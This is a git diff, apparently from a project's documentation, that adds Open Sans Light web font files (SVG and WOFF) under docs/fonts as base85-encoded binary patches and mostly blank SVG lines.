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 literal 0 HcmV?d00001 diff --git a/docs/fonts/OpenSans-Light-webfont.svg b/docs/fonts/OpenSans-Light-webfont.svg new file mode 100644 index 000000000..11a472ca8 --- /dev/null +++ b/docs/fonts/OpenSans-Light-webfont.svg @@ -0,0 +1,1831 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-Light-webfont.woff b/docs/fonts/OpenSans-Light-webfont.woff new file mode 100644 index 0000000000000000000000000000000000000000..e786074813a27d0a7a249047832988d5bf0fe756 GIT binary patch literal 22248 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 